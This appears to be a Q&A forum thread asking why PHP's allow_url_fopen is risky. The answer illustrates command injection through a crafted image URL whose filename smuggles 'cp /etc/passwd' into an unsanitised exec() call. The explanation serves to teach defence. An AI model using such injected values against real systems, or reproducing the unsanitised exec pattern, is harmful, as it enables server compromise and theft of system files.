How is PHP allow_url_fopen risky?
Recently I was reading an article about file_get_contents and HTTPS.
One part that caught my attention is:
Of course, the allow_url_fopen setting also carries a separate risk of enabling Remote File Execution, Access Control Bypass or Information Disclosure attacks. If an attacker can inject a remote URI of their choosing into a file function they could manipulate an application into executing, storing or displaying the fetched file including those from any untrusted remote source. It’s also worth bearing in mind that such file fetches would originate from localhost and thus be capable of bypassing access controls based on local server restrictions. As such, while allow_url_fopen is enabled by default, you should disable it without hesitation to maximise security.
I want to know What an attacker can do with allow_url_fopen and how would he do it?
Is allow_url_fopen always a security risk or only when you accept user input in the fopen wrapper?
A sample attack scenario using allow_url_fopen that allows me to download your password file:
Suppose your app allows me to provide a URL to a remote image, which you will download and use as my avatar image.
I provide the following URL: "http://my.malicious.example.com/sbwoodside.jpg;cp /etc/passwd downloads/foo.jpg;"
Your app uses allow_url_fopen to download the file and stores it as "sbwoodside.jpg;cp /etc/passwd downloads/passwords.txt;". I have now successfully injected a command into the filename.
Your app wants to compress and resize my image, so you use ImageMagick on the command line with something like exec("magick convert -size 128x128 ".$filename." ".$filename.".128.jpg")
What does exec actually execute? If you haven't sanitized the filename, then it executes the following on the shell:
magick convert -size 128x128 sbwoodside.jpg;cp /etc/passwd downloads/passwords.txt; sbwoodside.jpg;cp /etc/passwd downloads/passwords.txt;.128.jpg
Since ; is a command delimited on the shell, that will be broken by the shell automatically into the following separate commands:
magick convert -size 128x128 sbwoodside.jpg cp /etc/passwd downloads/passwords.txt sbwoodside.jpg cp /etc/passwd downloads/passwords.txt .128.jpg
And now I just go to http://yourapp.com/downloads/passwords.txt and download your password file. Of course, I can do anything I want, since I'm executing commands as your web server on your system.